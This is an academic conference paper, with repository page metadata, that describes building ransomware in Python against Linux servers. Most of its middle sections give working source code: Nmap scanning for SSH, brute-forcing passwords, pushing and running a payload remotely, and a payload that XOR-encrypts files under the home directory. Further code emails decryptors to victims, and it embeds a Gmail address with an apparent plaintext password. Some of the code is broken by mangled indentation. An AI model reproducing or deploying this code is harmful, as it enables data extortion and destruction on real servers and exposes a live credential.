An Implementation of Ransomware Malicious Software in Python

Conference Paper · January 2017

DOI: 10.15308/Sinteza-2017-19-24

CITATIONS
0

READS
1,692

3 authors:

Bojan Vujanic

2 PUBLICATIONS **0** CITATIONS

SEE PROFILE

Nemanja Maček

The School of Electrical and Computer Engineering of Applied Studies

68 PUBLICATIONS **54** CITATIONS

SEE PROFILE

Saša Ž Adamović

Singidunum University

80 PUBLICATIONS **40** CITATIONS

SEE PROFILE

INFORMATION SECURITY

AN IMPLEMENTATION OF RANSOMWARE MALICIOUS SOFTWARE IN PYTHON

Bojan Vujanić,
Nemanja Maček,
Saša Adamović

[1]School of Informatics and Computing,
Singidunum University,
Belgrade, Serbia

Abstract:
This paper presents an approach to developing ransomware in Python programming language. Malicious code exploits vulnerabilities resulting from the weak passwords on Linux servers. Ransomware employs Nmap to determine if SSH port is open, and if it is, it enters the victim via SSH protocol. Files are encrypted using stream cypher based on pseudorandom number generator. Analysis of existing ransomware is also given in this paper.

Keywords:
antivirus, e-mail, key, Linux, Nmap, ransom, ransomware, payload, port, Python, salt, SMTP, SSH, malicious software

1. INTRODUCTION TO RANSOMWARE

Ransomware represents a digital mechanism of extortion. Ransomware can formally be defined as malicious software which encrypts files from the attacked computer, than displays the instructions about way of ransom payment to the user of infected computer so he can get the key for decrypting files. Ransomware frequently uses algorithms resistant to cryptanalitical attack, so it is impossible to get to the key for decrypting in reasonable period of time (excluding direct attack on key server, if it exists). In other words, user of infected computer needs to choose between extortion paying and permanent data lost (if he does not have copy of them).

In worse case, ransomware besides encrypting data restricts access to the operating system (certain system data are being encrypted). In this case, after the first restart of infected computer, window, in which allegedly MUP, FBI or some common organization is warning user that the computer is locked for some illegal activities, appears.

Ransomware is spreading like a trojan and infects system via downloaded files or using vulnerabilities in network services. One of the most widespread ways of infecting computer by ransomware is based on guidance of the victim to access links in e-mail. The other way of spreading is via attachment of e-mail. Executive file with attractive name is usually set in attachment, represented as ZIP file or image. Message is structured to guide the victim to open the file in attachment.

Protection from ransomware includes making copies of data on a regular basis, self-education of the users and using softwares for protecting from malicious programs (antiviruses).

Correspondence:
Bojan Vujanić

e-mail:
vujanicbojan@gmail.com

DOI: 10.15308/Sinteza-2017-19-24

2. FIRST RANSOMWARE FOR LINUX SYSTEMS: LINUX.ENCODER.1

Linux.Encoder.1 (ELF/Filecoder.A or Trojan.Linux.Ransom.A) is considered to be the first ransomware trojan which aims at computers working under Linux operating system. Linux.Encoder.1 is being executed from distant location using security flow in Magento software. After activation, ransomware encrypts certain types of files which are set on local and network file systems using hybrid RSA/AES cryptosystem. Public RSA keys are used for encrypting session AES keys, and private keys are set in ransomware control servers. After that, Linux.Encoder.1 sets in every directory a "readme_to_decrypt.txt" file with a message which informs user that it is necessary to pay ransom via Bitcoin, and after that he can get a private key.

After running with root privileges, program loads two files in memory: "./readme.crypto" and "./index.crypto".

When ransomware gets public RSA key, daemon process starts running and deletes its files. Daemon encrypts files with these extensions and deletes the originals: ".php", ".html", ".tar", ".gz", ".sql", ".js", ".css", ".txt" ".pdf", ".tgz", ".war", ".jar", ".java", ".class", ".ruby", ".rar" ".zip", ".db", ".7z", ".doc", ".pdf", ".xls", ".properties", ".xml" ".jpg", ".jpeg", ".png", ".gif", ".mov", ".avi", ".wmv", ".mp3" ".mp4", ".wma", ".aac", ".wav", ".pem", ".pub", ".docx", ".apk" ".exe", ".dll", ".tpl", ".psd", ".asp", ".phtml", ".aspx", ".csv".

Files with these extensions are being encrypted in next directories: "/home", "/root", "/var/lib/mysql", "/var/www", "/etc/nginx", "/etc/apache2", "/var/log".

Based on the list of extensions and directories, we have come to a conclusion that the goal for ransom are user's personal files and files necessary for Web servers and MySQL databases. Linux.Encoder.1 encrypts all data in directory whose name starts with "public¬_html", "www", "webapp", "backup", ".git", ".svn". Linux.Encoder.1 does not encrypt files in root directory or directories which contain commands necessary for main functionality of operating system: / ,/bin, /usr/bin, or configuration files.

3. REALIZATION OF RANSOMWARE

The conception of ransomware in our case is to be applicable on Linux platforms, more precisely Linux servers, because of the fact that the servers often have ssh service, which allows users and administrators to remotely control and save uploaded files on server. The program is conceived to execute the attack on several servers at once and it requires input files that contain servers' ip addresses, usernames and passwords based on perceiving employees, employers or simply ordinary names and passwords.

If the user name and password are successfully stolen, payload with unique key and "salt" value (which is used for recognition of system that has been attacked) is being generated.

The key and unique "salt" value are saved in a database, and generated payloads and files with instructions for payment are being held in predefined folder payloads, and everything for making it easier to generate the mail which is going to contain script and instructions for files backup after payment was made.

The main function, scan, which starts the process, is conceived to examine if every server from the list has opened port 22 for ssh connections. If ssh connection is opened, that host is being separated in specific thread in which the attack on this machine is being executed, while in main function the examination of other hosts continues.

```
def scan(hostsFile,usersFile,passwordsFile):
   with open(hostsFile, 'r') as hosts:
      for host in hosts:
        host=host.strip('\n')
          if
        ZeroDay.nmapPortScanner.\\
        nmapScan(str(host),"22"): \\
        t=threading.Thread(target=ZeroDay.\\
        bruteForceSSH.bruteForceConnecting,\\
        args=(host,usersFile,passwordsFile))
            t.start()
            t.join()
scan("hostsFile","usersFile","passwordFile")
```

For assessment if system is vulnerable or if port is opened for ssh connections, we are using perfect synergy of Nmap and Python. We are creating an instance of object PortScanner, over which we are calling the method scan, and the method returns dictionaries with information about the machine. The most important for us is the segment with the information about the port (whether it is opened or not).

```
def nmapScan(tgtHost, tgtPort):
   nmScan=nmap.PortScanner()
   info = nmScan.scan(str(tgtHost),str(tgtPort))
   state = ((info['scan'][tgtHost]\\
   ['tcp'][int(tgtPort)]['state'])if \\
   (any(info['scan'])) else "closed")
   print(" [*] "+ tgtHost + " tcp/" \\
   + str(tgtPort)+" "+state)
   if(state=="open"):
     return True
      return False
```

If it is found that the port is opened, in specific thread we are calling the next function which receives file with usernames and passwords, and in which the lexical attack is being executed. It is designed to try connection for every username, and then infiltrate the payload in machine.

```
def bruteForceConnecting(host, usersFile,
passwordsFile):
   found=False
   with open(usersFile, 'r', encoding='utf-8') \\
   as users, open(passwordsFile,'r', \\
   encoding='utf-8') as passwords:
      for user in users:
        for password in passwords:
          user=str(user).strip('\n')
          password=str(password).strip('\n')
          lock.acquire()
          time.sleep(2)
          print("Trying for :", user, " :", \\
          password)
          if inject(host, user,password):
             return
        passwords.seek(0, 0)
```

Function inject is the main part of the attack, in which we are trying to connect to the ssh server by using forward username and password. If the connection is successful, a unique payload for infecting the system is being generated, and then the textual file with the instructions for payment, if user wants his files back, is being generated, too.

It is important to notice that after the execution of the payload, the same is being deleted from the computer, and a possibility is given to the computer to make a reverse process. The file with instructions is being set on server after encrypting all files; therefore we cannot encrypt the instruction.

```
  shell = pxssh.pxssh()
  print(shell.login(host, user, password))
  print("[+] The Password has been found "\\
  + password)
  scpCommand(host,user,password,payloadFolder \\
  +payload[0])
  time.sleep(2)
    shell.sendline(("python3 "+payload[0]+" && \\
     rm "+payload[0]).encode('utf-8'))
    shell.prompt()
    print("from prompt")
    ans=shell.before.decode('utf-8')
    print(ans)
    scpCommand(host,user,password,\\
    payloadFolder+payload[1])
    time.sleep(2)
    shell.sendline("ls -l".encode("utf-8"))
    shell.prompt()
    print("from prompt")
    ans=shell.before.decode('utf-8')
    print(ans)
    return True
  except Exception as e:
    print(e.__str__())
    finally: lock.release()
```

The payload is being generated by functions getPayload and generatePayload in which new .py file is created which contains malicious code and unique pseudorandom key generated by "salt" value and linux random, which has a large entropy of keys, if it is used the right way. All the keys and "salt" values are being set in sqlite local database, therefore every key can uniquely be obtained, and if the same is used in payload in database, "the flag" is being set and it determines that the key is already used. It is necessary to keep these flags, so the infected computer could get a new payload for data backup, after the payment was made.

```
def getPayload():
  genKey()
  c = sqlite3.connect \\
  ("/home/bizzarec/PycharmProjects/ZeroDay/ \\
  RansomBase.db")
  c.row_factory = sqlite3.Row
  res = c.execute("SELECT * FROM crypto ORDER BY
  \\
  id DESC")
  row = res.fetchone()
  while row:
    if(row['used']==0):
        fileNames =
        genPayload(row['salt'],row['key'])
        sql ="UPDATE crypto SET used = ? WHERE \\
        id = ?"
        c.execute(sql, (1 ,row['id']))
        c.commit()
        return fileNames
                row = res.fetchone()
```

The main part of the function for generating keys is:

```
def randGenerate(salt):
  return salt[:int(len(salt)/2)].encode()+ \\
  os.urandom(2044)+ \\
          salt[:-int(len(salt)/2)].encode()
```

On the attacked computer this malicious code is being executed:

```
key = b'10\x9e\xa0EY\x160@\xc0\xa3\xaf\ … \xe0\x1d10'
lstFiles = [".php", ".html", ".tar", ".gz", ".sql",
".js", ".css", ".txt" ".pdf",
                ".tgz", ".war", ".jar",
                ".java",".class", ".ruby", ".rar"
                ".zip", ".db",".7z", ".doc", ".pdf",
                ".xls", ".properties", ".xml" ".jpg",
                ".jpeg",".png", ".gif", ".mov",
                ".avi", ".wmv",".mp3" ".mp4", ".wma",
                ".aac",".wav", ".pem", ".pub",
                ".docx", ".apk" ".exe", ".dll",
                ".tpl", ".psd",".asp", ".phtml",
                ".aspx", ".csv"]
def cipher(file, key):
   try:
        with open(file, 'rb+') as f:
           print(file)
           data = bytearray(f.read())
           f.seek(0)
           f.write((bytearray((lambda x,y:\\
            (x[i] ^ y[i % len(y)] for i in \\
           range(0,len(x))))(data, key))))
    except Exception as e:
        print(str(e))
def sniffFiles(directory):
    if(os.path.isdir(directory)):
        for dir in os.listdir(directory):
          sniffFiles(directory+"/"+dir)
        else:
          for type in lstFiles:
            if directory.__contains__(type):
              cipher(directory)
sniffFiles(os.environ['HOME']+"/")
```

The malicious code is written so it recursively starts in Home directory of the attacked computer, examines if the file is the type which we are attacking. If it is, the file is loaded as byte code and encrypted with the key within payload. After encryption, the user gets textual file with the instructions for the way of payment, which says that the user needs to give salt values and e-mail address where the files will be sent.

4. SENDING KEY TO THE ATTACKED AFTER PAYMENT

In the end, if the user makes a payment via Simple Mail Transfer Protocol (SMTP), the mail is based on specifications of rfc document with attachment, in which the file with the instructions is as well as the script for decrypting generated by python. This e-mail is generated by the following code:

```
    text = '''
       The attachment holds the script for
       decryption, start it via terminal
       with command:
       ''' + "python3 " + fName
       readIt = '''
     MIMEMultipart()
     msg['Subject'] = "Ransomware Decription"
       me ='towardsthelights@gmail.com'
       msg['To'] = victimsMail
       msg.attach(MIMEText(text))
       with open(file, "rb") as fil:
        py = MIMEApplication(fil.read(),\\
        Name=basename(fName))
        py['Content-Disposition'] = 'attachment;
        filename="%s"' % basename(fName)
        readMe = \\
        MIMEApplication(readIt,"ReadME.txt")
        readMe['Content-Disposition']='attachment;
        filename="%s"' %
     basename("ReadME.txt")
        msg.attach(readMe)
        msg.attach(py)
     try:
        smtpserver =
        smtplib.SMTP("smtp.gmail.com", 587)
        smtpserver.ehlo()
        smtpserver.starttls()
        smtpserver.login(me,
        'towardsthelights06310268841994')
        try:
           smtpserver.sendmail(me, victimsMail,\\
msg.as_string())
        finally:
           smtpserver.close()
     except Exception as exc:
           print("Mail failed: {}".format(exc))
```

From this message we can clearly conclude that we have to transfer these files to the infected computer and run them following the instructions.

5. USED PROTOCOLS, TOOLS AND LANGUAGES

SSH

SSH protocol is expected to be used for safe remote registration on system and also for network communication via unprotected network infrastructure. SSH is created as a replacement for telnet, and it is used for remote program running, working in far apart command interpreters and copying files via network. SSH consists of three protocols: Transport Layer Protocol, User Authentication Protocol and Connection Protocol. Every SSH server has its own private/public pair of keys. By using these keys during establishing SSH connection, server authenticates client and enables safe arrangement about the materials for symmetrical keys which are used for traffic protection.

NMAP

Nmap is created as humble software by Gordon Lyon (known as Fyodor Vaskovich). First version of Nmap

had 2000 lines of code and it is published in 1997. in web magazine "51 of Phrack". Considering Nmap to be open-source software, hackers rushed on it for a short period of time, and since then Nmap is developing rapidly.

Python

Python is one of the most rewarding "high-level" languages which enables complete control over the system. Python is widely used language, designed to empathies code readability, with a syntax which enables programmers to write concepts containing a small number of code lines. This language supports multiple programmers' paradigms, as object-oriented, imperative, functional and procedural styles.

Python features a dynamic type system and automatic memory management, and it binds method and variable names during program execution. Similar to Ruby or LISP, Python represents interpreted language, which means that the code is converted in machine code and being executed while the script is executing. Interpreted code mostly has a benefit of huge portability on different systems while there is an interpreter on system for the same.

6. CONCLUSION

In the past years the number of hackers' attacks is growing, especially the number of ransomware softwares. Besides techniques of the attack, techniques of the encrypting are evolving, too, and they are being adjusted to Linux, iOS and Android operating systems.

This paper presents an approach to developing ransomware in Python programming language. Software is based on SSH protocol for distribution, using weaknesses produced by human factor (weak password) and encrypts files with certain extensions on attacked computer. After payment, software sends an e-mail to the attacked by SMTP protocol. Therefore, targeted systems are Linux servers with opened SSH port and weak passwords.

REFERENCES

[1] Dr. P.B. Pathak, "A Dangerous Trend of Cybercrime: Ransmoware Growing Challenge",International Journal of Advanced Research in Computer Engineering and Technology (IJARCET), Volume 5 Issue 2, Maharashtra, India, February 2016.

[2] Ransomware: Past, Present, and Future, Cisco Talos Blog, April 2016., http://blog.talosintelligence.com/2016/04/ransomware.html

[3] Ransomware, Trend Micro,http://www.trendmicro.com/vinfo/us/security/definition/ransomware.

[4] J. Wyke, A. Ajjan, "The Current State of Ransomware", SophosLabs technical paper, December 2015.

[5] A. Allievi, H. Unterbrink, W. Mercer, "CryptoWall 4.0 the Evolution Continues", Cisco Talos white paper, mart 2016.

[6] S. Mehmood, "Enterprise Survival Guide for Ransomware Attacks". https://www.sans.org/reading-room/whitepapers/incident/enterprise-survival-guideransomware- attacks-36962.

[7] A. Young, J. Zhou, J. Lopez, eds. "Building a Cryptovirus Using Microsoft'sCryptographic API". Information Security: 8th International Conference, ISC 2005(Springer-Verlag). pp. 389–401, 2005.

[8] A. Young, "Cryptoviral Extortion Using Microsoft's Crypto API: Can Crypto APIs Helpthe Enemy?". International Journal of Information Security (Springer-Verlag) 5 (2): 67–76, 2006.

[9] "Cryptolocker Infections on the Rise; US-CERT Issues Warning". SecurityWeek. 19th November 2013, http://www.securityweek.com/cryptolocker-infections-rise-us-certissues- warning.

[10] New ransomware employs Tor to stay hidden from security". The Guardian. https://www.theguardian.com/technology/2014/jul/25/new-ransomware-employs-toronion- malware.

[11] M. Russinovich, "Hunting Down and Killing Ransomware (Scareware)". Microsoft TechNet blog, 7th January 2013., http://blogs.technet.com/b/markrussinovich/archive/2013/01/07/3543763.aspx.

[12] T. Simonite, "Holding Data Hostage: The Perfect Internet Crime? Ransomware (Scareware)". MIT Technology Review, 4. februar 2015., http://www.technologyreview.com/news/534516/holding-data-hostage-the-perfectinternet- crime/.

[13] D. Brad, "Exploit Kits and CryptoWall 3.0". The Rackspace Blog! & NewsRoom, 2nd March 2015., http://www.rackspace.com/blog/exploit-kits-and-cryptowall-3-0/.

[14] "Ransomware on the Rise". The Federal Bureau of Investigation JANUARY 2015.https://www.fbi.gov/news/stories/2015/january/ransomware-on-the-rise.

[15] R. Jean-Loup, "Extortion on the Internet: the Rise of Crypto-Ransomware", Harvard, jul2015.https://blogs.harvard.edu/jeanlouprichet/files/2015/07/Extortion_on_the_Internet_Rise_of_Crypto_Ransomware.pdf

[16] Tripwire, The State of Security, "May 2016: The Month in Ransomware", 6. jun 2016., http://www.tripwire.com/state-of-security/security-data-protection/may-2016-themonth- in-ransomware/

[17] D. Bison for Tripwire, The State of Security, "Decryption Tool Released for CryptXXX Ransomware", 27th April 2016., http://www.tripwire.com/state-of-security/latest-securitynews/ decryption-tool-released-for-cryptxxx-ransomware/

[18] L. Abrams for BleepingComputer, "The Enigma Ransomware targets Russian SpeakingUsers", 9th May 2016., http://www.bleepingcomputer.com/news/security/the-enigmaransomware-targets-russian-speaking-users/

[19] L. Abrams for BleepingComputer, " Jigsaw Ransomware becomes CryptoHitman withPorno Extension", 11th May 2016.,http://www.bleepingcomputer.com/news/security/jigsaw-ransomware-becomescryptohitman-with-porno-extension/